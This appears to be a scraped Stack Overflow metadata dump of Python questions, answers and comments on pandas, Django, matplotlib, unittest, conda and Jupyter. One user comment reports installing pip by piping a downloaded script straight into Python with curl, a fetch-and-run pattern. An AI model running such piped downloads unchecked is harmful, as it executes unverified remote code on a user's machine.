has comment: http://stackoverflow.com/comment/81040321
tagged with: time-series
has comment: http://stackoverflow.com/comment/81035987
has answer: http://stackoverflow.com/a/47046482
tagged with: algorithm
has comment: http://stackoverflow.com/comment/81037865
tagged with: python
type: AnsweredQuestion
score: 0
answer count: 1

http://stackoverflow.com/a/47027879
score: 0
answers question: http://stackoverflow.com/q/47027169
has body: A namedtuple doesn't support this exactly as you have it above but it's a class so you can simply add additional properties by doing something like tup.field1_is_alpha = True after you have tup defined (as at the top of the post). Another potential solution is to set each field of tup to another tuple (or namedtuple or class) such as.. t1 = tup( (1,True), (5,False) ) The downside here is that the metadata goes with each instance of the class, not the class itself.
type: Answer
has comment: http://stackoverflow.com/comment/81003266

http://stackoverflow.com/comment/81167501
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47048187
has text: Your hint about not installed pip was very helpful. I used `--without-pip` because I got an error without that parameter (zero exit status 1) I have now installed pip manually using `curl https://bootstrap.pypa.io/get-pip.py | python` Still figuring out how Jupyter fits into this. E.g. when I start Jupyter I can see all different kernels (test01, test02 and the default python3 kernel). So that is still confusing me. And also I haven't fully understood yet, when which combination finds which packages and not.

http://stackoverflow.com/comment/80970972
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47012130
score: 0
has text: `GenericAPIView` has property `request` if you call it as view, but what are you do? go by url or create some tests

http://stackoverflow.com/a/54327765
answers question: http://stackoverflow.com/q/47056476
has body: I got this all to work with the below code. import warnings os.environ['PATH'] = os.path.join(scriptPath, 'path\\my_VE\\R\\R-3.4.2\\bin\\x64') os.environ['PYTHONHOME'] = os.path.join(scriptPath, 'path\\my_VE\\Scripts\\64bit') os.environ['PYTHONPATH'] = os.path.join(scriptPath, 'path\\my_VE\\Lib\\site-packages') os.environ['R_HOME'] = os.path.join(scriptPath, 'path\\my_VE\\R\\R-3.4.2') os.environ['R_USER'] = os.path.join(scriptPath, 'path\\my_VE\\Scripts\\new_ve_folder\\Scripts\\rpy2') # import platform z = platform.architecture() print(z) ## above will confirm you are working on 64 bit gc.collect() ## this code snippit will tell you which library is being Read command = 'Rscript' cmd = [command, '-e', ".libPaths()"] print(cmd) x = subprocess.Popen(cmd, shell=True) x.wait() import rpy2.robjects.packages as rpackages import rpy2.robjects as robjects from rpy2.robjects import r import rpy2.interactive.packages from rpy2.robjects import lib from rpy2.robjects.lib import grid # # grab r packages print("loading packages from R") ## fails at this point with the following error ## Error: cannot allocate vector of size 232.6 Mb when working with large rasters rpy2.robjects.packages.importr('raster') rpy2.robjects.packages.importr('rgdal') rpy2.robjects.packages.importr('sp') rpy2.robjects.packages.importr('utils') # rpy2.robjects.packages.importr('memory') # rpy2.robjects.packages.importr('dplyr') rpy2.robjects.packages.importr('data.table') grid.activate() # set python variables for R code names raster = robjects.r['raster'] writeRaster = robjects.r['writeRaster'] # setwd = robjects.r['setwd'] clump = robjects.r['clump'] # head = robjects.r['head'] crs = robjects.r['crs'] dim = robjects.r['dim'] projInfo = robjects.r['projInfo'] slope_recode = os.path.join(tempDIR, "_lope_recode.img") outfile = os.path.join(tempDIR, "Rclumpfile.img") recode = raster(slope_recode) # this is taking the image and reading it into R raster package ## https://stackoverflow.com/questions/47399682/…
score: 0
type: Answer

http://stackoverflow.com/comment/80938498
type: Comment
type: QuestionComment
has text: @SPSP How do I read everything on java side ? I have to read byte one by one right ? Sorry I am not very familiar with reading through sockets in java.
score: 0
comment on: http://stackoverflow.com/q/46987483

http://stackoverflow.com/a/47027400
has comment: http://stackoverflow.com/comment/81041054
has comment: http://stackoverflow.com/comment/81002270
has body: change get_object_or_404(User.objects to get_object_or_404(User change url(r'^designs_by/(\w+)/$' to url(r'^designs_by/(?P&lt;username&gt;\w+)/$' for the template; &lt;ul class="navbar-nav navbar-right"&gt; {% if request.user.is_authenticated %} &lt;li&gt; &lt;a class="navbar-text navbar-right" href="{% url 'profile' username=request.user.username %}"&gt; {% if request.user.first_name and request.user.last_name %} {{ request.user.first_name }} {{ request.user.last_name }} {% else %} {{ request.user.username }} {% endif %} &lt;/a&gt; &lt;/li&gt; &lt;li&gt;&lt;a class="navbar-text navbar-right" href="{% url 'Logout' %}"&gt;&amp;nbsp;Logout &lt;/a&gt;&lt;/li&gt; {% else %} &lt;li&gt;&lt;a class="navbar-text navbar-right" href="{% url 'Login' %}"&gt;Login &lt;/a&gt;&lt;/li&gt; {% endif %} &lt;/ul&gt;
has comment: http://stackoverflow.com/comment/81041979
has comment: http://stackoverflow.com/comment/81002216
has comment: http://stackoverflow.com/comment/81043354
score: 0
has comment: http://stackoverflow.com/comment/81002251
answers question: http://stackoverflow.com/q/47027356
has comment: http://stackoverflow.com/comment/81002453
has comment: http://stackoverflow.com/comment/81006419
has comment: http://stackoverflow.com/comment/81026385
has comment: http://stackoverflow.com/comment/81041610
type: Answer

http://stackoverflow.com/q/46960841
accepted answer: http://stackoverflow.com/a/46964085
tagged with: matplotlib
answer count: 1
has body: I am trying to learn Data Visualization and the city I live in actually uploaded some opendata on the city council tokens of presence. I would like to display a bar for each council member, color it based on party membership and publish it. I have a file with -in each row- "Name", "Party", "Total tokens received in €". I divided each column in a different variable, then tried to import matplotlib.pyplot as plt import numpy as np import csv with open('Book1.csv', 'r') as csvfile: readCSV = csv.reader(csvfile, delimiter=',') names = [] parties = [] tots = [] for row in readCSV: name = row[0] party = row[1] tot = row[2] names.append(name) parties.append(party) tots.append(tot) tots = list(map(int,tots)) np_names = np.array(names) np_parties = np.array(parties) np_tots = np.array(tots) N = len(np_tots) x = range(N) width = 1/1.5 col = { 'PD' : 'red', 'PDL' : 'blue', 'Democrazia e Solidarieta' : 'pink', 'UDC' : 'white', 'Gruppo Misto' : 'gray', 'Insieme per Pavia' : 'yellow', 'Rinnovare Pavia' : 'green', } np_fin = np.column_stack((np_tots,np_parties)) print(np_fin) plt.bar(x, np_fin[:,0], width, color= col.get(np_fin[:,0]) plt.show() I both lose the ints as they are converted back into strings in the new 2d array, and can't access the color-coded dictionary. EDIT: Sample .csv FRANCESCO,PD,0 BRUNO,PDL,185 MATTEO,Lega Nord,463
has answer: http://stackoverflow.com/a/46964085
has comment: http://stackoverflow.com/comment/80875154
type: Question
tagged with: numpy
tagged with: arrays
tagged with: python
has title: Coloring plot bar in python based on 2d array values and dictionaries
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80869354
score: 0

http://stackoverflow.com/q/47036972
has answer: http://stackoverflow.com/a/47037241
type: UnansweredQuestion
tagged with: duplicates
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81022465
tagged with: remove-if
has comment: http://stackoverflow.com/comment/81022274
answer count: 2
has comment: http://stackoverflow.com/comment/81024180
upvote count: 0
downvote count: 1
has body: I find my prog's if-else does not loop, why does this happen and how can I fix it for checking? my prog supposed that store user's inputs which must between 10 and 100, then delete duplicated inputs. examples: num=[11,11,22,33,44,55,66,77,88,99] result: `[22,33,44,55,66,77,88,99] inList=[] for x in range(1,11): num = int(input("Please enter number "+str(x)+" [10 - 100]: ")) if num &gt;= 10 and num &lt;= 100: inList.append(num) else: num = int(input("Please enter a valid number: ")) print(inList) I found that the if-else only did once, so when I enter invalid num for the 2nd time, the prog still brings me to the next input procedure. What happen occurs? Please enter number 1 [10 - 100]: 1 Please enter a valid number: 1 Please enter number 2 [10 - 100]: Additionally, may I ask how can I check the inList for duplicated num, and then remove both of the num in the list?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47038182
has title: why the if-else does not loop
tagged with: if-statement

http://stackoverflow.com/comment/80959428
type: QuestionComment
has text: Thanks. After some digging around found the answer here - http://python-notes.curiousefficiency.org/en/latest/python_concepts/import_traps.html#the-double-import-trap
comment on: http://stackoverflow.com/q/47005432
score: 0
type: Comment

http://stackoverflow.com/q/46988123
has comment: http://stackoverflow.com/comment/80928528
score: 0
linked to: http://stackoverflow.com/q/46665200
tagged with: widget
has answer: http://stackoverflow.com/a/47026950
answer count: 1
has title: Kivy module switch widget pressed anywhere
type: Question
has body: I have a kivy file with several widgets, one of them is a switch. The problem is that wherever I press on the screen, it flips the switch. I have 2 other widgets - one of them is a check-box and another is radio-buttons, which also have some problems and I think they are occuring because of the switch. The problem is that in order to press them I need to press on a different part of the screen and not on the widget itself. Any help would be appreciated. UPDATE I am using Windows only for development.
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80923081
tagged with: python
tagged with: kivy
has comment: http://stackoverflow.com/comment/80926361

http://stackoverflow.com/q/46978894
has body: Situation 1 Suppose I have a test class that I'd like to re-use, test_doubled.py: import unittest class BaseTestCase(unittest.TestCase): def test_something(self): self.assertTrue(True) It contains a singled class, BaseTestCase, that inherits from unittest.TestCase and has a single test method. Running the test from the command line produces the following output as expected: $ python -m unittest discover -p test_doubled.py -v test_something (test_doubled.BaseTestCase) ... ok ---------------------------------------------------------------------- Ran 1 test in 0.000s OK Situation 2 Now suppose I add a second module, test_doubled_2.py, like so: from test_doubled import BaseTestCase class DerivedTestCase(BaseTestCase): pass It inherits from BaseTestCase, so I expect that it will have the same test method, and that the test method will get executed. However, when I run it, I get the following output: $ python -m unittest discover -p test_doubled_2.py -v test_something (test_doubled.BaseTestCase) ... ok test_something (test_doubled_2.DerivedTestCase) ... ok ---------------------------------------------------------------------- Ran 2 tests in 0.000s OK It seems to run the method twice, once for the derived class, and once for the base class. This is not what I expect at all. Situation 3 My suspicion is that, by importing BaseTestCase from test_doubled_2.py, the whole BaseTestCase class is getting executed. This seems to be confirmed by running both test modules: $ python -m unittest discover -p test_doubled\*.py -v test_something (test_doubled.BaseTestCase) ... ok test_something (test_doubled.BaseTestCase) ... ok test_something (test_doubled_2.DerivedTestCase) ... ok ---------------------------------------------------------------------- Ran 3 tests in 0.000s OK Running both modules executes the same test method three times, when I would expect it to be executed only twice. How can I get the test method to only execute once in Situation 2 and twice in Situation 3? UPDATE To …
upvote count: 4
has comment: http://stackoverflow.com/comment/80905593
type: AnsweredQuestion
answer count: 2
possible better answer: http://stackoverflow.com/a/54478307
has comment: http://stackoverflow.com/comment/80905935
has answer: http://stackoverflow.com/a/54478307
downvote count: 0
linked to: http://stackoverflow.com/q/1323455
has comment: http://stackoverflow.com/comment/80906076
favorite count: 0
type: Question
has title: unittest discover - Inherited test methods being executed twice
accepted answer: http://stackoverflow.com/a/46979115
tagged with: python-unittest
tagged with: python
has comment: http://stackoverflow.com/comment/80906061
score: 4
has answer: http://stackoverflow.com/a/46979115

http://stackoverflow.com/comment/80856261
score: 0
has text: Tried ".strip()" before and it did not work. Also tried Jon C's suggestion of stripping the bytes, but self."byteArray.strip(b'\x40\x09')" does not work.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46942147

http://stackoverflow.com/comment/80913832
type: Comment
score: 0
type: QuestionComment
has text: @SergiyKolodyazhnyy, put answers in an answer, not a comment and especially not behind a link. Now this Q looks like there aren't any answers.
comment on: http://stackoverflow.com/q/46983203

http://stackoverflow.com/q/46922399
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46922759
tagged with: match
downvote count: 1
answer count: 3
has answer: http://stackoverflow.com/a/46922629
tagged with: render
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/46922627
tagged with: dictionary
favorite count: 0
type: Question
has title: Render sentence with values in dict python
has body: Say I have a sentence to fill sentence_to_fill = "I have 4 {{fruit}}" And I have dictionary like this my_dict = { "fruit": ["apple", "banana", "pear"] } I would like to see something like this given input: Input: "I have 4 apple" Output: True, "apple" And only returns True with fruit if matches one of the values in the dict in python. What would be the easiest and the most efficient way of doing this?

http://stackoverflow.com/a/47023822
score: 2
upvote count: 2
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47022825
has body: Why not to test them all: In [11]: df = pd.concat([df] * 10**4, ignore_index=True) In [12]: df.shape Out[12]: (30000, 1) # NOTE: our DF has 30.000 rows In [13]: %timeit df['a'].map( mapDict ) 4.9 ms ± 320 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) In [14]: %timeit df['a'].map( mapDict ).fillna( 'NoKeyValue' ) 9.65 ms ± 806 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) In [15]: %timeit df['a'].apply( lambda r : mapDict.get( r , 'NoKeyValue' ) ) 21.7 ms ± 96.5 µs per loop (mean ± std. dev. of 7 runs, 10 loops each) one more option: In [24]: %timeit np.where(df['a'].isin( mapDict ), df['a'].map( mapDict ), 'NoKeyValue') 6.97 ms ± 13.8 µs per loop (mean ± std. dev. of 7 runs, 100 loops each)

http://stackoverflow.com/comment/119436668
type: Comment
has text: Warning as follows: "A value is trying to be set on a copy of a slice from a DataFrame. Try using .loc[row_indexer,col_indexer] = value instead See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy"
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46921488

http://stackoverflow.com/a/47050912
score: 0
has body: You can use the since and until operator. https://api.twitter.com/1.1/statuses/user_timeline.json?include_entities=true&amp;inc‌​lude_rts=true&amp;screen_name=your_screen_name&amp;since:2011-05-16&amp;until:2011-08-16 But it will do you little good because tweets are searchable in a small time window. To get around this check out several resources copied from
answers question: http://stackoverflow.com/q/47050862
type: Answer

http://stackoverflow.com/comment/80815245
type: Comment
type: QuestionComment
has text: You should provide a minimal, working version of your problem, like your code with objects which rotate across all axis. This way chances are low you get what you want.
score: 0
comment on: http://stackoverflow.com/q/46933880

http://stackoverflow.com/comment/80853325
has text: Thank you @PRMoureu that one way of solving the problem but i need to use the form for other purposes so i am keeping it and using the `preventDefault` As Luis suggested so it will simulate not having a form.
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/46920124

http://stackoverflow.com/a/46987825
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80922682
upvote count: 1
has body: I believe this might help import os import numpy as np import pandas as pd from matplotlib import pyplot as plt csv_dir = 'reports/' csv_files = [csv for csv in os.listdir(csv_dir)] plt_handles = [] index = 0 for csv_file in csv_files: # You can parse the csv_file to get the index handle if you wish data = pd.read_csv(csv_dir + csv_file, header=None) line, = plt.plot(data[2], data[1], label='line %d' % index) line_m, = plt.plot(np.array([0, 12]), np.array([np.mean(data[1]), np.mean(data[1])]), label='line-%d mean' % index) plt_handles.append((line, line_m)) index += 1 # for demonstration purposes - if you do not parse csv fname lines, lines_m = zip(*plt_handles) # transpose matrix - lines before means plt.legend(handles=lines + lines_m)
has comment: http://stackoverflow.com/comment/80922710
answers question: http://stackoverflow.com/q/46987214
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/80922469
has comment: http://stackoverflow.com/comment/80922394
accepted answer of: http://stackoverflow.com/q/46987214
has comment: http://stackoverflow.com/comment/80922340

http://stackoverflow.com/comment/80949387
type: Comment
score: 0
has text: The dashes indicate three separate documents in one file. Why not *split* on it, and parse each one separately?
type: QuestionComment
comment on: http://stackoverflow.com/q/47001429

http://stackoverflow.com/comment/80961789
score: 0
type: AnswerComment
has text: It's hard to answer that question without knowing more about what you're trying to accomplish.
type: Comment
comment on: http://stackoverflow.com/a/47006426

http://stackoverflow.com/q/46920693
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46920717
has body: class String(object): def __init__(self, text): self.text = text def __repr__(self): return "{}".format(self.text) def reverse(self): return self.text[::-1] def isPalindrome(self): return (self.reverse(self.text) == self.text) def main(): string = String(input("Write a String: ")) if(string.isPalindrome()): print("The string {{}} IS a Palindrome".format(string)) else: print("The string {{}} is NOT Palindrome".format(string)) I have this classe that represents a String and i want to check is a object is a palindrome by calling the method isPalindrome. But when i call the string.isPalindrome i get this error: Traceback (most recent call last): File "palindrome.py", line 23, in &lt;module&gt; main() File "palindrome.py", line 17, in main if(string.isPalindrome()): File "palindrome.py", line 12, in isPalindrome return (self.reverse(self.text) == self.text) TypeError: reverse() takes 1 positional argument but 2 were given
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/80789055
downvote count: 1
favorite count: 0
tagged with: class
type: AnsweredQuestion
score: 0
tagged with: oop
has title: Calling class method within class error
tagged with: python
has comment: http://stackoverflow.com/comment/80788947
accepted answer: http://stackoverflow.com/a/46920717

http://stackoverflow.com/comment/80855118
score: 0
comment on: http://stackoverflow.com/q/46953983
has text: What python framework are you using? Could you show some code?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46978302
has comment: http://stackoverflow.com/comment/81049194
answer count: 1
has answer: http://stackoverflow.com/a/46979069
has body: How to handle second submission duplicate request If user was trying to refresh the page when the first submission is not finished yet because of server lag. client side disabling submit button to avoid multiple submits. and handled Post/Redirect/Get pattern after form submit redirect to success view I believe both are handled well. class SomeView(View): def post(self, request, *args, **kwargs): if form.is_valid() if request_exists(request): # here I can raise the exception also # But How I redirect the customer to sucess page # If 1st submission got success response. else: # here I have called internal api to get/post some data. # user refreshes before this call has completed. ... # once getting respose its ALWAYS redirect to new page return HttpResponseRedirect('/thanks/') But how to handle the case If delay from getting a response from API call. I need to delay until the first submission finishes. Then I have to send the user to the thanks page.
linked to: http://stackoverflow.com/q/35083133
favorite count: 0
type: Question
type: UnansweredQuestion
has title: How to handle duplicate form submission with Django?
tagged with: django
tagged with: python
tagged with: design-patterns
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/a/47002668
has body: Instead of using list-comprehension: points = [Point(randint(0, i), random(), random(), random()) for i in range(100)] use a loop and assign the points during creation: points = [] for i in range(100): p = Point(randint(0, i), random(), random(), random()) points.append(p) if p.id == 5: top_left = p elif p.id == 7: top_right = p elif p.id == 13: bottom_left = p elif p.id == 15: bottom_right = p This way you get all done in one iteration instead of two.
has comment: http://stackoverflow.com/comment/80951903
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47002598
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/65332666
has body: As a reference, I also encountered the same problem, so I report the solution in case it can help someone. It appeared to be some incompatibilities between pyqtgraph and matplotlib. Importing matplotlib before pyqtgraph solved the problem. matplotlib version: '3.3.1' pyqtgraph version: '0.11.0'
answers question: http://stackoverflow.com/q/47058219
type: Answer
score: 0

http://stackoverflow.com/comment/81077005
score: 0
has text: How do you start the notebook? You're probably starting it using a Python executable that is not used by the virtual environment.
comment on: http://stackoverflow.com/q/47064332
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80785447
has text: `len(soup.find('ul').find_all('li'))`
type: Comment
score: 2
comment on: http://stackoverflow.com/q/46913993
type: QuestionComment

http://stackoverflow.com/a/46968274
upvote count: 3
score: 3
type: Answer
has comment: http://stackoverflow.com/comment/80892498
has body: In addition to @phd's answer, I found two other methods. Use tox-pip-extensions Use tox-pip-extensions and add this to tox.ini [tox] tox_pip_extensions_ext_venv_update = true Re-create virtual environment Run --recreate before running tox every time $ tox --recreate &amp;&amp; tox
downvote count: 0
answers question: http://stackoverflow.com/q/46929315

http://stackoverflow.com/a/46994038
answers question: http://stackoverflow.com/q/46993463
score: 1
type: Answer
has body: Solved! Turns out that there were white spaces in my words/values. Silly mistake but shows the importance of print statements.
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47023242
downvote count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/47040270
has comment: http://stackoverflow.com/comment/81139059
has comment: http://stackoverflow.com/comment/81001442
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80994626
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81001027
has comment: http://stackoverflow.com/comment/80994590
has title: Conda stopped installing packages
tagged with: python
tagged with: conda
has comment: http://stackoverflow.com/comment/80995264
has body: After trying to install Caffe on my mac 10.12.6, system-wide, which is a really hellish process, conda started behaving oddly. I can activate my conda environments with source activate env, but no longer can install anything using conda install, nor does conda accept any other commands. terminal just prompts back nothing. I have export PATH="/Users/xxx/anaconda/bin:$PATH" on my .bash_profile could anybody please point me in the right direction here?
has comment: http://stackoverflow.com/comment/80995555
answer count: 0
score: 1

http://stackoverflow.com/comment/81161770
type: QuestionComment
type: Comment
score: 0
has text: I just thought it would take forever, like it was a txt file. Thanks for the help guys.
comment on: http://stackoverflow.com/q/47063924

http://stackoverflow.com/q/46941694
tagged with: django
answer count: 6
has body: I looked at other similar questions on Stackoverflow, but those situations do not apply to me. I have a form with a Queue field that is a required field. This form is used in multiple places and in one such instance, I don't want the Queue field to be shown to the user. So, I simply did not render it on the template. But because this a required field, the form won't submit. How do I pre-populate this field while at the same time hiding it from the user? I cannot make changes to the model or the form's save methods because this form is also used at other places. forms.py class PublicTicketForm(CustomFieldMixin, forms.Form): queue = forms.ChoiceField( widget=forms.Select(attrs={'class': 'form-control'}), label=_('Queue'), required=True, choices=() ) views.py: def no_queue(request): if request.method == 'POST': form = PublicTicketForm(request.POST, request.FILES) form['queue'] = 9 # Tried to assign queue value to field, did not work if form.is_valid(): if text_is_spam(form.cleaned_data['body'], request): # This submission is spam. Let's not save it. return render(request, template_name='helpdesk/public_spam.html') else: form.save() else: form = PublicTicketForm(initial={'queue': 9}) # tried this one too, did not work either return render(request, 'helpdesk/no_queue.html', {'form': form}) The choices for this form were populated in the views, but because I'm not rendering it in the template, I did not do it.
has answer: http://stackoverflow.com/a/46945883
has answer: http://stackoverflow.com/a/67063302
favorite count: 0
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/46941880
has comment: http://stackoverflow.com/comment/80830805
has answer: http://stackoverflow.com/a/76287148
has title: How do I populate a hidden required field in django forms?
accepted answer: http://stackoverflow.com/a/46945883
possible better answer: http://stackoverflow.com/a/67063302
tagged with: python
tagged with: forms
type: Question
has answer: http://stackoverflow.com/a/46942992
has answer: http://stackoverflow.com/a/46954453
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/80830770

http://stackoverflow.com/comment/80953454
comment on: http://stackoverflow.com/a/47003104
has text: I'm sorry for that.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/80923327
score: 0
type: Comment
comment on: http://stackoverflow.com/a/46987985
type: AnswerComment
has text: Perfect !! Thanks

http://stackoverflow.com/q/46947005
has body: I just tried a simple tqdm example in python3. It works great but my problem is the "output format". The progress bar looks weird like this: I need the output something like this in a single line here is my code: import time from tqdm import tqdm from time import sleep for i in tqdm(range(10)): sleep(1.0)
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81255891
has title: tqdm progress meter not staying in one line
type: UnansweredQuestion
upvote count: 5
tagged with: python
score: 4
tagged with: tqdm
answer count: 0

http://stackoverflow.com/a/54783550
type: Answer
has body: For those who, like me, cannot leave django-auth-ldap for whatever reason: I solved downloading and installing the binary wheel of python-ldap from here https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap I hope this helps
upvote count: 6
has comment: http://stackoverflow.com/comment/138732473
downvote count: 1
score: 5
answers question: http://stackoverflow.com/q/47048542
has comment: http://stackoverflow.com/comment/139542661

http://stackoverflow.com/q/46928696
answer count: 1
has comment: http://stackoverflow.com/comment/80804337
tagged with: error-handling
has body: I get an error for few records while I try to parse JSON string, I'm unable to handle the exception such that if an error occurs while parsing JSON string then skip that record and move to next record. Here is the code snippet. ID=[] json_string=[] for row in cursor.fetchall(): ID.append(row[0]) json_string.append(row[1]) address_fields = { 'intersection': [], 'political': [], 'country': [], } dumpData = json.dumps(json_string) json_all = json.loads(dumpData) id_index = 0 for json_str in json_all: address_fields = { 'intersection': [], 'political': [], 'country': [], } try: json_results = json.loads(json_str) except IndexError: continue if isinstance(json_results,dict): first_address_components = json_results['results'][0]['address_components'] else: first_address_components = json_results[0]['address_components'] for item in first_address_components: for field_key in address_fields.keys(): if field_key in item['types']: address_fields[field_key].append(item['long_name']) I first fetch data from sql table and store the take JSON_string and their ID and try to parse JSON string and update those in sql table, so for those JSON string for which I get error, I want to skip that row and move to next record. But this is not getting done. Still, I m unable to handle exception. Any help on the same will be helpful. Thanks.
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80804300
has title: Handling exception if error occurs in python
tagged with: exception
tagged with: http://stackoverflow.com/tag/json
tagged with: python
score: -1
favorite count: 0
accepted answer: http://stackoverflow.com/a/46928763
type: Question
has answer: http://stackoverflow.com/a/46928763
tagged with: for-loop
upvote count: 0

http://stackoverflow.com/a/46978795
accepted answer of: http://stackoverflow.com/q/46978684
answers question: http://stackoverflow.com/q/46978684
type: Answer
has comment: http://stackoverflow.com/comment/80905210
has body: IIUC: In [15]: df.lookup(df.index, df.Prediction) Out[15]: array([ 0.99, 0.71, 0.8 ]) or In [23]: df.max(axis=1) Out[23]: 0 0.99 1 0.71 2 0.80 dtype: float64 or In [24]: df.filter(regex='^Class').idxmax(axis=1) Out[24]: 0 Class1 1 Class3 2 Class2 dtype: object
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80905191

http://stackoverflow.com/q/47064590
type: UnansweredQuestion
tagged with: selenium
has title: How to view text options within a dropdown menu
tagged with: drop-down-menu
upvote count: 1
has answer: http://stackoverflow.com/a/47067596
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47064629
tagged with: selenium-webdriver
has comment: http://stackoverflow.com/comment/81077578
has comment: http://stackoverflow.com/comment/81077490
tagged with: python
tagged with: webdriver
type: Question
has body: The HTML of the select list looks like: January October November December January ... However when I run: month = driver.find_element_by_id('date_range_month_start_chosen') month.click() ## make dropdown list visible in browser mySelect = Select(driver.find_element_by_css_selector("#date_range_month_start")) print([o.text for o in mySelect.options]) It prints: ['', '', '', '', '', '', '', '', '', '', '', ''] I've tried a few other things as well but so far have been entirely unsuccessful at printing what the text values in this drop down menu.
has comment: http://stackoverflow.com/comment/81078014
score: 0
answer count: 2

http://stackoverflow.com/comment/80825869
type: Comment
has text: great answer +1, including little explanation and doc reference would make it better.
type: AnswerComment
comment on: http://stackoverflow.com/a/46939348
score: 0

http://stackoverflow.com/q/47039809
tagged with: facebook-graph-api
score: 2
tagged with: python-3.x
upvote count: 2
type: UnansweredQuestion
has title: How to get text from Facebook comments plugin with Python?
answer count: 1
downvote count: 0
tagged with: web-scraping
has body: I am trying to get Facebook comments from the news site's comments plugin. This is the code I have at the moment: import facebook token = #valid token graph = facebook.GraphAPI(access_token=token, version='2.10') url = "http://www.jutarnji.hr/6703059" url_id = graph.get_object(url)['og_object']['id'] comments = graph.get_connections(url_id, 'comments') And this is the (unwanted) output: {'data': []}
has comment: http://stackoverflow.com/comment/81048194
favorite count: 0
has answer: http://stackoverflow.com/a/47039853
type: Question
tagged with: python

http://stackoverflow.com/q/46946681
has title: How to create the correspond columns
has answer: http://stackoverflow.com/a/46946761
has answer: http://stackoverflow.com/a/46946756
answer count: 4
type: AnsweredQuestion
downvote count: 0
tagged with: pandas
has body: I got the data like this: import pandas as pd data_dict = {'a':[5,2,4,5,3,3,1,2,3], 'name':['Jack','jon',"tom",'lazzy','mack','zack','makilo','drag','maiko']} data_01 = pd.DataFrame(data_dict) input: a name 0 5 Jack 1 2 jon 2 4 tom 3 5 lazzy 4 3 mack 5 3 zack 6 1 makilo 7 2 drag 8 3 maiko I hope the output should have 3 columns 'good','mid','poor' which the a &gt;3,==3,&lt;3 The expect output should be: a name good mid poor 5 Jack 1 0 0 2 jon 0 0 1 4 tom 1 0 0 5 lazzy 1 0 0 3 mack 0 1 0 .... Thanks for help !
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/46948384
accepted answer: http://stackoverflow.com/a/46946762
favorite count: 0
type: Question
tagged with: python
possible better answer: http://stackoverflow.com/a/46946756
has answer: http://stackoverflow.com/a/46946762

http://stackoverflow.com/q/47041305
type: Question
possible better answer: http://stackoverflow.com/a/47041479
has answer: http://stackoverflow.com/a/47041379
has body: I have this a text file that resembles alpha alphabet alphameric I would like to match just the first string `alpha', nothing else I have the following code that attempts to match just the alpha string and get its line number findWord = re.findall('\\ba\\b', "alpha") with open(file) as myFile: for num, line in enumerate(myFile, 1): if findWord in line: print 'Found at line: ', num However I get the following error: TypeError: 'in ' requires string as left operand, not list
upvote count: 2
has answer: http://stackoverflow.com/a/47041479
tagged with: python
tagged with: regex
score: 2
type: AnsweredQuestion
answer count: 3
has title: Python regex string match from file
accepted answer: http://stackoverflow.com/a/47041534
downvote count: 0
tagged with: string
has answer: http://stackoverflow.com/a/47041534
tagged with: match
tagged with: text-files
favorite count: 0

http://stackoverflow.com/comment/80928052
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46990752
has text: Ok. Thats the mistake i was doing by using a list. That clears my first query. How about my second query. Do i have to write a for loop?

http://stackoverflow.com/a/46914917
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46914781
has body: by using reduce data1516=data1516.rename(columns={"Employer: ID" : "EID"}) data1617=data1617.rename(columns={"Employer: ID" : "EID"}) data1718=data1718.rename(columns={"Employer: ID" : "EID"}) l=[data1516,data1617,data1718] import functools df=functools.reduce(lambda x, y: pd.merge(x, y, on = 'EID'), l)
score: 1
has comment: http://stackoverflow.com/comment/80777469
type: Answer

http://stackoverflow.com/comment/80798003
comment on: http://stackoverflow.com/a/46925620
has text: same error: FileNotFoundError: [Errno 2] No such file or directory: 'D:\\ECP\\TAT\\Test.txt'
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81009962
type: Comment
comment on: http://stackoverflow.com/q/47030385
type: QuestionComment
has text: @amrrs sorry, my bad. you are right. I edit the question. tnx, a lot.
score: 0

http://stackoverflow.com/comment/80854331
comment on: http://stackoverflow.com/a/46948278
type: Comment
score: 0
type: AnswerComment
